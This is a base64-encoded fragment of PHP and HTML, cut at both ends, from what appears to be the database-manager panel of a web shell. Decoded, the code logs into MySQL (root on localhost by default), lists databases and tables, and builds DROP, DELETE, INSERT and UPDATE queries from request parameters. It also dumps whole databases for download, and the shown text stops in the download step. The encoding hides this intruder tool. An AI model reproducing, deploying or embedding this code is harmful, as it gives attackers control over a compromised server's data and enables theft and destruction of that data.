YXRhYmFzZTwvYj4mbmJzcDs8L3RkPjwvdHI+PGZvcm0+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0ic3FsIj48dHI+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSJyb290IiBtYXhsZW5ndGg9IjY0Ij48L3RkPjx0ZD48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSIiIG1heGxlbmd0aD0iNjQiPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfZGIiIHZhbHVlPSIiIG1heGxlbmd0aD0iNjQiPjwvdGQ+PC90cj48dHI+PHRkPjxiPkhvc3Q8L2I+PC90ZD48dGQ+PGI+UE9SVDwvYj48L3RkPjwvdHI+PHRyPjx0ZCBhbGlnbj1yaWdodD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9ImxvY2FsaG9zdCIgbWF4bGVuZ3RoPSI2NCI+PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iMzMwNiIgbWF4bGVuZ3RoPSI2IiBzaXplPSIzIj48L3RkPjx0ZD48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ29ubmVjdCI+PC90ZD48L3RyPjx0cj48dGQ+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvdGQ+PD9waHAgfQ0KIGVsc2UNCiB7DQogIC8vU3RhcnQgbGVmdCBwYW5lbA0KICBpZiAoIWVtcHR5KCRzcWxfZGIpKQ0KICB7DQogICA/Pjx0ZCB3aWR0aD0iMjUlIiBoZWlnaHQ9IjEwMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSI8P3BocCBlY2hvICRzdXJsLiJhY3Q9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJiI7ID8+Ij48Yj5Ib21lPC9iPjwvYT48aHIgc2l6ZT0iMSIgbm9zaGFkZT48P3BocA0KICAgJHJlc3VsdCA9IG15c3FsX2xpc3RfdGFibGVzKCRzcWxfZGIpOw0KICAgaWYgKCEkcmVzdWx0KSB7ZWNobyBteXNxbF9zbWFydGVycm9yKCk7fQ0KICAgZWxzZQ0KICAgew0KICAgIGVjaG8gIi0tLVsgPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiImXCI+PGI+Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiI8L2I+PC9hPiBdLS0tPGJyPiI7DQogICAgJGMgPSAwOw0KICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHskY291bnQgPSBteXNxbF9xdWVyeSAoIlNFTEVDVCBDT1VOVCgqKSBGUk9NICIuJHJvd1swXSk7ICRjb3VudF9yb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkY291bnQpOyBlY2hvICI8Yj67Jm5ic3A7PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfZGI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiImc3FsX3RibD0iLmh0bWxzcGVjaWFsY2hhcnMoJHJvd1swXSkuIlwiPjxiPiIuaHRtbHNwZWNpYWxjaGFycygkcm93WzBdKS4iPC9iPjwvYT4gKCIuJGNvdW50X3Jvd1swXS4iKTwvYnI+PC9iPiI7IG15c3FsX2ZyZWVfcmVzdWx0KCRjb3VudCk7ICRjKys7fQ0KICAgIGlmICghJGMpIHtlY2hvICJObyB0YWJsZXMgZm91bmQgaW4gZGF0YWJhc2UuIjt9DQogICB9DQogIH0NCiAgZWxzZQ0KICB7DQogICA/Pjx0ZCB3aWR0aD0iMSIgaGVpZ2h0PSIxMDAiIHZhbGlnbj0idG9wIj48YSBocmVmPSI8P3BocCBlY2hvICRzcWxfc3VybDsgPz4iPjxiPkhvbWU8L2I+PC9hPjxociBzaXplPSIxIiBub3NoYWRlPjw/cGhwDQogICAkcmVzdWx0ID0gbXlzcWxfbGlzdF9kYnMoJHNxbF9zb2NrKTsNCiAgIGlmICghJHJlc3VsdCkge2VjaG8gbXlzcWxfc21hcnRlcnJvcigpO30NCiAgIGVsc2UNCiAgIHsNCiAgICA/Pjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfc2VydmVyIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7ID8+Ij48c2VsZWN0IG5hbWU9InNxbF9kYiI+PD9waHANCiAgICAkYyA9IDA7DQogICAgJGRicyA9ICIiOw0KICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXN1bHQpKSB7JGRicyAuPSAiPG9wdGlvbiB2YWx1ZT1cIiIuJHJvd1swXS4iXCIiOyBpZiAoJHNxbF9kYiA9PSAkcm93WzBdKSB7JGRicyAuPSAiIHNlbGVjdGVkIjt9ICRkYnMgLj0gIj4iLiRyb3dbMF0uIjwvb3B0aW9uPiI7ICRjKys7fQ0KICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJcIj5EYXRhYmFzZXMgKCIuJGMuIik8L29wdGlvbj4iOw0KICAgIGVjaG8gJGRiczsNCiAgIH0NCiAgID8+PC9zZWxlY3Q+PGhyIHNpemU9IjEiIG5vc2hhZGU+UGxlYXNlLCBzZWxlY3QgZGF0YWJhc2U8aHIgc2l6ZT0iMSIgbm9zaGFkZT48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28iPjwvZm9ybT48P3BocA0KICB9DQogIC8vRW5kIGxlZnQgcGFuZWwNCiAgZWNobyAiPC90ZD48dGQgd2lkdGg9XCIxMDAlXCIgaGVpZ2h0PVwiMVwiIHZhbGlnbj1cInRvcFwiPiI7DQogIC8vU3RhcnQgY2VudGVyIHBhbmVsDQogICRkaXBsYXkgPSB0cnVlOw0KICBpZiAoJHNxbF9kYikNCiAgew0KICAgaWYgKCFpc19udW1lcmljKCRjKSkgeyRjID0gMDt9DQogICBpZiAoJGMgPT0gMCkgeyRjID0gIm5vIjt9DQogICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxjZW50ZXI+PGI+VGhlcmUgYXJlICIuJGMuIiB0YWJsZShzKSBpbiB0aGlzIERCICgiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIikuPGJyPiI7DQogICBpZiAoY291bnQoJGRicXVpY2tsYXVuY2gpID4gMCkge2ZvcmVhY2goJGRic3FscXVpY2tsYXVuY2ggYXMgJGl0ZW0pIHtlY2hvICJbIDxhIGhyZWY9XCIiLiRpdGVtWzFdLiJcIj4iLiRpdGVtWzBdLiI8L2E+IF0gIjt9fQ0KICAgZWNobyAiPC9iPjwvY2VudGVyPiI7DQogICAkYWN0cyA9IGFycmF5KCIiLCJkdW1wIik7DQogICBpZiAoJHNxbF9hY3QgPT0gInRibGRyb3AiKSB7JHNxbF9xdWVyeSA9ICJEUk9QIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLHN0cmxlbigkc3FsX3F1ZXJ5KS0xKS4iOyI7ICRzcWxfYWN0ID0gInF1ZXJ5Ijt9DQogICBlbHNlaWYgKCRzcWxfYWN0ID09ICJ0YmxlbXB0eSIpIHskc3FsX3F1ZXJ5ID0gIiI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIkRFTEVURSBGUk9NIGAiLiR2LiJgIFxuIjt9ICRzcWxfYWN0ID0gInF1ZXJ5Ijt9DQogICBlbHNlaWYgKCRzcWxfYWN0ID09ICJ0YmxkdW1wIikge2lmIChjb3VudCgkYm94dGJsKSA+IDApIHskZG1wdGJscyA9ICRib3h0Ymw7fSBlbHNlaWYoJHRoaXN0YmwpIHskZG1wdGJscyA9IGFycmF5KCRzcWxfdGJsKTt9ICRzcWxfYWN0ID0gImR1bXAiO30NCiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gInRibGNoZWNrIikgeyRzcWxfcXVlcnkgPSAiQ0hFQ0sgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsc3RybGVuKCRzcWxfcXVlcnkpLTEpLiI7IjsgJHNxbF9hY3QgPSAicXVlcnkiO30NCiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gInRibG9wdGltaXplIikgeyRzcWxfcXVlcnkgPSAiT1BUSU1JWkUgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsc3RybGVuKCRzcWxfcXVlcnkpLTEpLiI7IjsgJHNxbF9hY3QgPSAicXVlcnkiO30NCiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gInRibHJlcGFpciIpIHskc3FsX3F1ZXJ5ID0gIlJFUEFJUiBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCxzdHJsZW4oJHNxbF9xdWVyeSktMSkuIjsiOyAkc3FsX2FjdCA9ICJxdWVyeSI7fQ0KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAidGJsYW5hbHl6ZSIpIHskc3FsX3F1ZXJ5ID0gIkFOQUxZWkUgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsc3RybGVuKCRzcWxfcXVlcnkpLTEpLiI7IjsgJHNxbF9hY3QgPSAicXVlcnkiO30NCiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gImRlbGV0ZXJvdyIpIHskc3FsX3F1ZXJ5ID0gIiI7IGlmICghZW1wdHkoJGJveHJvd19hbGwpKSB7JHNxbF9xdWVyeSA9ICJERUxFVEUgKiBGUk9NIGAiLiRzcWxfdGJsLiJgOyI7fSBlbHNlIHtmb3JlYWNoKCRib3hyb3cgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJERUxFVEUgKiBGUk9NIGAiLiRzcWxfdGJsLiJgIFdIRVJFIi4kdi4iIExJTUlUIDE7XG4iO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsc3RybGVuKCRzcWxfcXVlcnkpLTEpO30gJHNxbF9hY3QgPSAicXVlcnkiO30NCiAgIGVsc2VpZiAoJHNxbF90YmxfYWN0ID09ICJpbnNlcnQiKQ0KICAgew0KICAgIGlmICgkc3FsX3RibF9pbnNlcnRfcmFkaW8gPT0gMSkNCiAgICB7DQogICAgICRrZXlzID0gIiI7DQogICAgICRha2V5cyA9IGFycmF5X2tleXMoJHNxbF90YmxfaW5zZXJ0KTsNCiAgICAgZm9yZWFjaCAoJGFrZXlzIGFzICR2KSB7JGtleXMgLj0gImAiLmFkZHNsYXNoZXMoJHYpLiJgLCAiO30NCiAgICAgaWYgKCFlbXB0eSgka2V5cykpIHska2V5cyA9IHN1YnN0cigka2V5cywwLHN0cmxlbigka2V5cyktMik7fQ0KICAgICAkdmFsdWVzID0gIiI7DQogICAgICRpID0gMDsNCiAgICAgZm9yZWFjaCAoYXJyYXlfdmFsdWVzKCRzcWxfdGJsX2luc2VydCkgYXMgJHYpIHtpZiAoJGZ1bmN0ID0gJHNxbF90YmxfaW5zZXJ0X2Z1bmN0c1skYWtleXNbJGldXSkgeyR2YWx1ZXMgLj0gJGZ1bmN0LiIgKCI7fSAkdmFsdWVzIC49ICInIi5hZGRzbGFzaGVzKCR2KS4iJyI7IGlmICgkZnVuY3QpIHskdmFsdWVzIC49ICIpIjt9ICR2YWx1ZXMgLj0gIiwgIjsgJGkrKzt9DQogICAgIGlmICghZW1wdHkoJHZhbHVlcykpIHskdmFsdWVzID0gc3Vic3RyKCR2YWx1ZXMsMCxzdHJsZW4oJHZhbHVlcyktMik7fQ0KICAgICAkc3FsX3F1ZXJ5ID0gIklOU0VSVCBJTlRPIGAiLiRzcWxfdGJsLiJgICggIi4ka2V5cy4iICkgVkFMVUVTICggIi4kdmFsdWVzLiIgKTsiOw0KICAgICAkc3FsX2FjdCA9ICJxdWVyeSI7DQogICAgICRzcWxfdGJsX2FjdCA9ICJicm93c2UiOw0KICAgIH0NCiAgICBlbHNlaWYgKCRzcWxfdGJsX2luc2VydF9yYWRpbyA9PSAyKQ0KICAgIHsNCiAgICAgJHNldCA9IG15c3FsX2J1aWxkd2hlcmUoJHNxbF90YmxfaW5zZXJ0LCIsICIsJHNxbF90YmxfaW5zZXJ0X2Z1bmN0cyk7DQogICAgICRzcWxfcXVlcnkgPSAiVVBEQVRFIGAiLiRzcWxfdGJsLiJgIFNFVCAiLiRzZXQuIiBXSEVSRSAiLiRzcWxfdGJsX2luc2VydF9xLiIgTElNSVQgMTsiOw0KICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHNxbF9xdWVyeSkgb3IgcHJpbnQobXlzcWxfc21hcnRlcnJvcigpKTsNCiAgICAgJHJlc3VsdCA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX0FTU09DKTsNCiAgICAgJHNxbF9hY3QgPSAicXVlcnkiOw0KICAgICAkc3FsX3RibF9hY3QgPSAiYnJvd3NlIjsNCiAgICB9DQogICB9DQogICBpZiAoJHNxbF9hY3QgPT0gInF1ZXJ5IikNCiAgIHsNCiAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7DQogICAgaWYgKCgkc3VibWl0KSBhbmQgKCEkc3FsX3F1ZXJ5X3Jlc3VsdCkgYW5kICgkc3FsX2NvbmZpcm0pKSB7aWYgKCEkc3FsX3F1ZXJ5X2Vycm9yKSB7JHNxbF9xdWVyeV9lcnJvciA9ICJRdWVyeSB3YXMgZW1wdHkiO30gZWNobyAiPGI+RXJyb3I6PC9iPiA8YnI+Ii4kc3FsX3F1ZXJ5X2Vycm9yLiI8YnI+Ijt9DQogICAgaWYgKCRzcWxfcXVlcnlfcmVzdWx0IG9yICghJHNxbF9jb25maXJtKSkgeyRzcWxfYWN0ID0gJHNxbF9nb3RvO30NCiAgICBpZiAoKCEkc3VibWl0KSBvciAoJHNxbF9hY3QpKSB7ZWNobyAiPHRhYmxlIGJvcmRlcj1cIjBcIiB3aWR0aD1cIjEwMCVcIiBoZWlnaHQ9XCIxXCI+PHRyPjx0ZD48Zm9ybSBhY3Rpb249XCIiLiRzcWxfc3VybC4iXCIgbWV0aG9kPVwiUE9TVFwiPjxiPiI7IGlmICgoJHNxbF9xdWVyeSkgYW5kICghJHN1Ym1pdCkpIHtlY2hvICJEbyB5b3UgcmVhbGx5IHdhbnQgdG86Ijt9IGVsc2Uge2VjaG8gIlNRTC1RdWVyeSA6Ijt9IGVjaG8gIjwvYj48YnI+PGJyPjx0ZXh0YXJlYSBuYW1lPVwic3FsX3F1ZXJ5XCIgY29scz1cIjEwMFwiIHJvd3M9XCIxMFwiPiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3F1ZXJ5KS4iPC90ZXh0YXJlYT48YnI+PGJyPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9hY3RcIiB2YWx1ZT1cInF1ZXJ5XCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3VibWl0XCIgdmFsdWU9XCIxXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2dvdG9cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2dvdG8pLiJcIj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJzcWxfY29uZmlybVwiIHZhbHVlPVwiWWVzXCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIk5vXCI+PC9mb3JtPjwvdGQ+PC90cj48L3RhYmxlPiI7fQ0KICAgfQ0KICAgaWYgKGluX2FycmF5KCRzcWxfYWN0LCRhY3RzKSkNCiAgIHsNCiAgICA/Pjx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEiPjx0cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48Yj5DcmVhdGUgbmV3IHRhYmxlOjwvYj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJzcWwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9hY3QiIHZhbHVlPSJuZXd0YmwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9kYiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9uZXd0YmwiIHNpemU9IjIwIj4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ3JlYXRlIj48L2Zvcm0+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48Yj5EdW1wIERCOjwvYj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJzcWwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9hY3QiIHZhbHVlPSJkdW1wIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfZGIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkdW1wX2ZpbGUiIHNpemU9IjMwIiB2YWx1ZT0iPD9waHAgZWNobyAiZHVtcF8iLiRTRVJWRVJfTkFNRS4iXyIuJHNxbF9kYi4iXyIuZGF0ZSgiZC1tLVktSC1pLXMiKS4iLnNxbCI7ID8+Ij4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPVwic3VibWl0XCIgdmFsdWU9IkR1bXAiPjwvZm9ybT48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PC90cj48L3RhYmxlPjw/cGhwDQogICAgaWYgKCFlbXB0eSgkc3FsX2FjdCkpIHtlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7fQ0KICAgIGlmICgkc3FsX2FjdCA9PSAibmV3dGJsIikNCiAgICB7DQogICAgIGVjaG8gIjxiPiI7DQogICAgIGlmICgobXlzcWxfY3JlYXRlX2RiICgkc3FsX25ld2RiKSkgYW5kICghZW1wdHkoJHNxbF9uZXdkYikpKSB7ZWNobyAiREIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiIGhhcyBiZWVuIGNyZWF0ZWQgd2l0aCBzdWNjZXNzITwvYj48YnI+IjsNCiAgICB9DQogICAgZWxzZSB7ZWNobyAiQ2FuJ3QgY3JlYXRlIERCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpLiJcIi48YnI+UmVhc29uOjwvYj4gIi5teXNxbF9zbWFydGVycm9yKCk7fQ0KICAgfQ0KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAiZHVtcCIpDQogICB7DQogICAgaWYgKGVtcHR5KCRzdWJtaXQpKQ0KICAgIHsNCiAgICAgJGRpcGxheSA9IGZhbHNlOw0KICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJHRVRcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJhY3RcIiB2YWx1ZT1cInNxbFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9hY3RcIiB2YWx1ZT1cImR1bXBcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfZGJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2xvZ2luXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wYXNzd2RcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9zZXJ2ZXJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wb3J0XCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGI+U1FMLUR1bXA6PC9iPjxicj48YnI+IjsNCiAgICAgZWNobyAiPGI+REI6PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfZGJcIiB2YWx1ZT1cIiIudXJsZW5jb2RlKCRzcWxfZGIpLiJcIj48YnI+PGJyPiI7DQogICAgICR2ID0gam9pbiAoIjsiLCRkbXB0YmxzKTsNCiAgICAgZWNobyAiPGI+T25seSB0YWJsZXMgKGV4cGxvZGUgXCI7XCIpJm5ic3A7PGI+PHN1cD4xPC9zdXA+PC9iPjo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImRtcHRibHNcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkdikuIlwiIHNpemU9XCIiLihzdHJsZW4oJHYpKzUpLiJcIj48YnI+PGJyPiI7DQogICAgIGlmICgkZHVtcF9maWxlKSB7JHRtcCA9ICRkdW1wX2ZpbGU7fQ0KICAgICBlbHNlIHskdG1wID0gaHRtbHNwZWNpYWxjaGFycygiLi9kdW1wXyIuJFNFUlZFUl9OQU1FLiJfIi4kc3FsX2RiLiJfIi5kYXRlKCJkLW0tWS1ILWktcyIpLiIuc3FsIik7fQ0KICAgICBlY2hvICI8Yj5GaWxlOjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX2R1bXBfZmlsZVwiIHZhbHVlPVwiIi4kdG1wLiJcIiBzaXplPVwiIi4oc3RybGVuKCR0bXApK3N0cmxlbigkdG1wKSAlIDMwKS4iXCI+PGJyPjxicj4iOw0KICAgICBlY2hvICI8Yj5Eb3dubG9hZDogPC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic3FsX2R1bXBfZG93bmxvYWRcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPjxicj48YnI+IjsNCiAgICAgZWNobyAiPGI+U2F2ZSB0byBmaWxlOiA8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzcWxfZHVtcF9zYXZldG9maWxlXCIgdmFsdWU9XCIxXCIgY2hlY2tlZD4iOw0KICAgICBlY2hvICI8YnI+PGJyPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVlPVwiRHVtcFwiPjxicj48YnI+PGI+PHN1cD4xPC9zdXA+PC9iPiAtIGFsbCwgaWYgZW1wdHkiOw0KICAgICBlY2hvICI8L2Zvcm0+IjsNCiAgICB9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgJGRpcGxheSA9IHRydWU7DQogICAgICRzZXQgPSBhcnJheSgpOw0KICAgICAkc2V0WyJzb2NrIl0gPSAkc3FsX3NvY2s7DQogICAgICRzZXRbImRiIl0gPSAkc3FsX2RiOw0KICAgICAkZHVtcF9vdXQgPSAiZG93bmxvYWQiOw0KICAgICAkc2V0WyJwcmludCJdID0gMDsNCiAgICAgJHNldFsibmwyYnIiXSA9IDA7DQogICAgICRzZXRbIiJdID0gMDsNCiAgICAgJHNldFsiZmlsZSJdID0gJGR1bXBfZmlsZTsNCiAgICAgJHNldFsiYWRkX2Ryb3AiXSA9IHRydWU7DQogICAgICRzZXRbIm9ubHl0YWJzIl0gPSBhcnJheSgpOw0KICAgICBpZiAoIWVtcHR5KCRkbXB0YmxzKSkgeyRzZXRbIm9ubHl0YWJzIl0gPSBleHBsb2RlKCI7IiwkZG1wdGJscyk7fQ0KICAgICAkcmV0ID0gbXlzcWxfZHVtcCgkc2V0KTsNCiAgICAgaWYgKCRzcWxfZHVtcF9kb3dubG9hZCkNCiAgICAgew0KICAgICAgQG9iX2NsZWFuKCk7DQogICAgICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7DQogICAgIC